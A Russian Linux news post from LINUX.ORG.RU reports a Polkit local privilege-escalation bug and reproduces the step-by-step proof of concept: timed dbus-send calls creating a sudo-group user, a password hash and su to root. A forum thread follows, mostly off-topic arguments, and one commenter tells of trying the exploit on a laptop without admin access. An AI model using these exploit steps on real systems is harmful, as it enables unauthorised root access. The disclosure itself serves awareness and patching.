LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , ,

Семилетний баг в Polkit, позволяющий получить права root

2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★★

Проверено: xaizek ()
Последнее исправление: xaizek (всего исправлений: 10)
Ответ на: комментарий от anonymous
  1. Решето - классика.
  2. Тут половина не по делу орет.
Zhbert ★★★★★
()
Ответ на: комментарий от anonymous

При том, что настоящий лоровец обязан неустанно бороться с рашкой-парашкой.

Настоящих БУЙНЫХ мало.  
Вот и нету ВОЖАКОВ.
anonymous
()
Ответ на: комментарий от Legioner

только надо не забыть что / по умолчанию будет RO!

и /var может быть отдельно, он нужен

а если вдруг не поможет, то загрузиться с live cd / install и уже оттуда сбросить через chroot

mumpster ★★★★★
()
Последнее исправление: mumpster (всего исправлений: 1)
Ответ на: комментарий от mumpster

иии?
выше уже ответили, что в Stable уязвимость прилететь не успела, а в Testing уже прилетел фикс

annerleen ★★★★☆
()
Ответ на: комментарий от windows10

Вот у меня один из клиентских серваков, подцепил криптомайнер.

windows10 ★★ (12.06.21 23:22:22)

Вот поэтому виндузятникам нельзя доверять администрирование серверов, работающих над серьёзными задачами. Они ж ведь как дети малые - тупые и гадят.

zabbal ★★★★★
()
Ответ на: комментарий от zabbal

Они ж ведь как дети малые - тупые и гадят.

Тупых у тупоконечников и остроконечников МНОГО …

anonymous
()
Ответ на: комментарий от anonymous

Трололо Маководово

Тупых у тупоконечников, остроконечников и Маководов МНОГО …

anonymous
()

Кроме них, для своей статьи (PoC exploit) он так же использовал

также

anonymous
()
Ответ на: комментарий от Aceler

Какая прелестная чушь.

Если брать медицину и образование в регионах - он абсолютно прав. А это значительная часть государственного сектора

uberroot
()
Ответ на: комментарий от uberroot

Если брать медицину и образование в регионах - он абсолютно прав.

У тебя найдется, чем это подтвердить?

dexpl ★★★★★
()
Ответ на: комментарий от WindowsXP

Люблю смотреть как срутся анонимоусы и латентныне виндузятники …

А что интересного?
Все эти диалоги однотипны

Дурак:  

 Ты дурак ...  
 А ты идиот. 

goto Дурак;
anonymous
()
Ответ на: комментарий от anonymous

Так там тоже винда пиратская :)

anonymous
()
Ответ на: комментарий от windows10

Для каких практических задач нужен этот сертификат, и чем «сертифицированная» система лучше «несертифицированной» ?

Это как куличи свячённые и несвячённые.

d_a ★★★★★
()
Ответ на: комментарий от zabbal

Вот поэтому виндузятникам нельзя доверять администрирование серверов, работающих над серьёзными задачами. Они ж ведь как дети малые - тупые и гадят.

Ты веткой ошибся. Дырявый полкит написали не виндузятники.

windows10 ★★★★★
()
Ответ на: комментарий от zabbal

А вот и виндузятники со своей пропагандой подъехали. Я за бан - только мастдайных ботов нам тут не хватало.

В отличие от тебя, фанатика, нормальные люди знают что Линукс - всего лишь ОС, и не исключает проприетарного ПО. А Windows, BTW, не исключает опенсорс.

И да, проприетарный Microsoft сделал для опенсорса в миллион раз больше, чем ты :))

windows10 ★★★★★
()
Ответ на: комментарий от vasya_pupkin

Вот прям +1 Фанатики они такие… Здраво мыслить не умеют. Ему аргументы, а он в ответ дичь какую-то несет…

это он тебе комплимент сделал, а ты и не понял! это была грубая лесть что ты непобедим.

anonymous
()

знакомый купил ноут с предустановленной убунтой. и с ней такой прикол – есть два пользователя: один «бесправный», без пароля и с автологином; другой «админ» с неизвестным паролем. продавцы с его слов совсем не в теме, помочь не в состоянии. я ему сразу сказал «переустанови»

че как не линуксоид-то? чуть что, сразу переустанавливать шиндошс! грузишься с флэшки, чрут, passwd <user>, ну или без чрута, вручную поправить /etc/shadow

от обычного пользователя крутится рекламное приложение. я показал ему как прибивать эту «заразу» (правда, она временами «возрождается» :). и вот так он им и «пользуется».

вот тут да, лучше чистую систему накатить, ибо неизвестно, чего еще там напихано. то есть, докопаться, конечно, можно, но зачем? проще какой-нибудь чистый дебиан вкорячить

PerdunJamesBond
()

Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.

эээ, ребята, мне одному кажется, что самая дырень-то не в polkit? то есть в нем тоже, но... какого хрена свежесозданный пользак по умолчанию пихается в sudo? это что за дистрибутив такой?

PerdunJamesBond
()

Сустемд - это неудаляемый руткит. Раньше такое детектилось с помощью chkrootkit, а теперь это во всех дистрибутивах линукса.

anonymous
()

Че за бред ты написал что все надо обновить? Когда можно сделать так sudo apt –reinstall install gir1.2-polkit-1.0 libpolkit-agent-1-0 libpolkit-gobject-1-0 policykit-1

anonymous
()
Ответ на: комментарий от PerdunJamesBond

вот тут да, лучше чистую систему накатить, ибо неизвестно, чего еще там напихано. то есть, докопаться, конечно, можно, но зачем? проще какой-нибудь чистый дебиан вкорячить

Там могут быть напиханы драйверы или фиксы для драйверов. С моим ноутбуком Dell шла Ubuntu 18.04 с кучей пакетов не из апстрима: Dell Latitude 3410 (комментарий) причём какого-то гайда от Dell по воспроизведению этого всего с чистого листа я не видел, поэтому прежде, чем вкорячивать чистый дебиан, лучше разобраться, чем текущая система отличается от чистого дебиана.

Legioner ★★★★★
()
Ответ на: комментарий от WindowsXP

латентныне виндузятники

WindowsXP ★★ (13.06.21 11:59:28)

Проекция такая проекция :-D

zabbal ★★★★★
()
Ответ на: комментарий от PerdunJamesBond

Они там единичку передают в accountType, это значит, что юзер администратор будет.

Legioner ★★★★★
()
Ответ на: комментарий от PerdunJamesBond

Сначала «Спасибо!» всем ответившим на мою(и) реплики. Поскольку тред не мой я стараюсь отвечать (sorry) по минимуму.

Но здесь смолчать не могу

я ему сразу сказал «переустанови»

че как не линуксоид-то? чуть что, сразу переустанавливать шиндошс!

странно, конечно, но я нигде не упоминал offtop. речь шла о линуксе. ту же Ubuntu… или другой дистр. Другое дело, что знакомый считает пустой тратой времени перебор дистрибутивов. Дескать предустановленная система самая подходящая (каюсь я ему что-то подобное и внушил ранее).

грузишься с флэшки, чрут, passwd , ну или без чрута, вручную поправить /etc/shadow

Это «да». Нагуглил how-to несколько, сразу после того, как все попытки обойти систему «изнутри» провалились. С одной стороны я всё же не «специалист-по-безопасности», а с другой ноут не мой и я не могу действовать на своё усмотрение. Обман исключается – доказать не сможет, но доверия мне уже не будет…

без чрута, вручную поправить /etc/shadow

без админских полномочий никак (либо я чего-то не знаю). Я показывал ему эту тему и уговорил воспроизвести действия из «шапки» с созданием админского аккаунта… Ну это же не взлом в прямом смысле, а со «своим» аккаунтом он бы стал в полной мере пользоваться своей техникой. Но то ли Ubuntu 18.04 (ноут 2020 года) действительно неуязвима, то ли нам не хватило настойчивости и везения.

лучше чистую систему накатить, ибо неизвестно, чего еще там напихано. то есть, докопаться, конечно, можно, но зачем? проще какой-нибудь чистый дебиан вкорячить

Это «запасной вариант». С течением времени чувство «неудобства» должно увеличиваться и поскольку самостоятельно развиваться у него желания нет, думаю консультантом мне быть…

anonymous
()

а я всегда параноил из-за этой шляпы, такая возможность атаки для меня была очевидной ещё лет 10 назад

anonymous
()
Ответ на: комментарий от uberroot

Если брать медицину и образование в регионах - он абсолютно прав. А это значительная часть государственного сектора

Это не менее прелестная чушь.

Aceler ★★★★★
()
Ответ на: комментарий от windows10

Если с техническо точки зрения, сертификация не может выявить баг, то хоть может с юридической точки зрения после находки бага в сертифицированном ПО, сертификатор присядет на пяток ? Вроде тоже нет

Что тебе толку от того, что какой-то несчастный программист или не менее несчастный его начальник присядет? Ты чё такой злой? За что их садить, за то что не решили принципиально нерешаемую задачу и не успели помереть до того как это раскрылось? Если их садить, то ни один вменяемый специалист туда работать не пойдет, проверять софт будут бомжи, у которых других выходов нет, они ещё хуже проверят.

Сертификация нужна для одной простой вещи: продемонстрировать человеку, который нихрена не понимает, что люди, которые что-то понимают, потратили время, посмотрели внимательно, и никаких уж совсем детских проблем не нашли. Это не значит, что не существует взрослых проблем. Но по крайней мере там не будет самописного шифрования на xor.

khrundel ★★★★
()
Ответ на: комментарий от dexpl

У тебя найдется, чем это подтвердить?

Тем, что я работал со школами и ВУЗами? Да, я с ними работал. А знакомые в медицинских учреждениях. Везде пиратские XP и Windows7.

uberroot
()
Последнее исправление: uberroot (всего исправлений: 1)
Ответ на: комментарий от Aceler

Это не менее прелестная чушь.

В чём чушь, поясни. Ты точно знаешь изнутри работу региональных школ, ВУЗов и поликлиник?

uberroot
()
Ответ на: комментарий от uberroot

Конечно. Я занимаюсь этим более 10 лет, загляни в профиль. Поэтому я могу себе просто позволить сказать «это прелестная чушь».

Aceler ★★★★★
()
Ответ на: комментарий от Aceler

Можно один вопрос не совсем в тему? У вас в профиле написано

К.т.н. по приборостроению и физической химии.

Вы дважды кандидат по двум разным специальностям? Или в НН был какой то (скорее всего сильно военизированный) профиль обучения сочетающий в себе и то и другое? Просто обычно это весьма и весьма далекие друг от друга направления.

anonymous
()
Ответ на: комментарий от anonymous

Вы дважды кандидат по двум разным специальностям?

Можно защищаться один раз, но по двум специальностям. Для этого в совет по основной специальности (в моём случае приборостроение) вводятся дополнительно члены другого совета по другой специальности. Я там не помню, сколько их надо человек, но билеты им оплачивал я :-)

Поэтому если ты хочешь, проблем нет, вопрос расходов. Мне это было не нужно, это было нужно моему научруку, который собирался защищать докторскую по физической химии.

Просто обычно это весьма и весьма далекие друг от друга направления.

Приборостроение и физическая химия очень тесно связаны, поскольку твердотельные химические сенсоры основаны на эффектах, которые изучаются в разделе физической химии — сорбция, десорбция и вот это всё.

Aceler ★★★★★
()
Ответ на: комментарий от Aceler

Я не знаю, чем ты занимашься там 10 лет. Возможно в твоём регионе всё совсем не так, но в моём везде стоит пиратская винда. Доценты, приезжающие на конференции из других ВУЗов говорили, что у них тоже стоит пиратская винда.

И мне очень странно, когда приходит «эксперт» и говорит мне, работавшему в двух ВУЗах и имевшего контакты с другими образовательными учреждениями, что пиратской винды ни у кого быть не может.

uberroot
()
Ответ на: комментарий от uberroot

работавшему в двух ВУЗах и имевшего контакты с другими образовательными учреждениями, что пиратской винды ни у кого быть не может.

А у меня, конечно, никаких контактов с образовательными учреждениями нет. Ни с ВШЭ, ни с ННГУ, ни с НГТУ, ни с НРТК, ни с НКИ. Ни с 50 школ Дзержинска, в которых винды и линкус лицензионные мы ставили ещё в 2010-м, и с тех пор курируем. Ни с, э… не помню, сколько школ, Нижнего.

ОК, сообщи названия ВУЗов, я посмотрю по сайту госзакупок, какие там винды они закупают. А вместе со мной этот же сайт смотрят и в Microsoft, и в ОБЭП. Как думаешь, там реально ничего нет?

Доценты, приезжающие на конференции из других ВУЗов говорили, что у них тоже стоит пиратская винда.

Так и вы говорите! ©

Aceler ★★★★★
()
Ответ на: комментарий от Aceler

И как они проверки проходят?

Спокойно. Есть несколько ключей, которые скопипастили по разным кафедрам, которые вписали его в свои отчёты. Никто схожесть ключей не сопоставлял. Часть ключей брали с тех времён, когда ВУЗы сотрудничали с Microsoft по какой-то программе (я забыл аббревиатуру).

Да и кстати на моей памяти проверок ПО было всего две, и в обоих проверяли лицензии на серьёзные программы, по которым выпущены научные статьи. Типа ANSYS и MatLab. Винду никто не проверял.

Но даже инженерные программы везде стоят пиратские. А для прохождения достаточно иметь одну-две лицензии на ВУЗ. Так что.

Никто из проверяющих не ходит и не включает компьютеры пользователей - проверяют наличие программ, которые использовались в защитах.

uberroot
()
Ответ на: комментарий от anonymous

Только RUST заблобирован

Можно вроде пересобрать начиная еще с версии написаной на OCaml. Более реальный вариант пересобирать с помощью альтернативного компилятора mrustc который сам написан на C++.

anonymous
()
Ответ на: комментарий от Aceler

А бюджет, который выделен на закупку ПО, они куда тогда сливают?

А его не так много и выделяли, насколько я знаю. Ну ты прикинь, сколько стоит например тот же MatLab или ANSYS. Конечно будет куплена лицензия на 6 машин. Но стоять они будут на 100. Потому что так удобней. И тоже самое со всем остальным.

Скажем так - то, что формально нужно для имитации лицензионности совсем не означает её в реальности.

Ни с ВШЭ, ни с ННГУ, ни с НГТУ, ни с НРТК, ни с НКИ

Речь про региональные же шла. ВШЭ - это никак не регионы. Ну и если в Нижнем - всё окей, тогда прекрасно. А в таких областях как Ярославская, Костромская, Ивановская, Рязанская и Тульская далеко не всё прекрасно.

uberroot
()
Последнее исправление: uberroot (всего исправлений: 1)
Ответ на: комментарий от uberroot

Пиши названия учреждений. Так и быть, напишу в прокуратуру вместо тебя. Совершенно непонятно, почему ты покрываешь преступников.

anonymous
()
Ответ на: комментарий от Aceler

Скажем так: я очень и очень хорошо знаю что такое физическая химия.))) И даже если отдельные применения у нее в приборостроении и есть, но основное направление все же далеко от всего этого. Я просто подумал что в НН соорудили какой то гибрид о котором я не слышал. Сижу и думаю, то ли что то рассекретили, то ли кто то съездил на очередную конфу и приволок «свежие и замечательные» идеи. В серьезных местах защита по двум специальностям сразу не практикуется или практикуется в исключительных случаях, реально редких. Но карьера научрука конечно дело важное.)))

anonymous
()
Ответ на: комментарий от uberroot

Тем, что я работал со школами и ВУЗами?

Со всеми школами и ВУЗами во всех российских регионах? Нет? А почему говоришь за все? А поименный список тех, с которыми работал, дашь?

dexpl ★★★★★
()
Ответ на: комментарий от dexpl

Со всеми

демедж контроль пошёл, найс

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.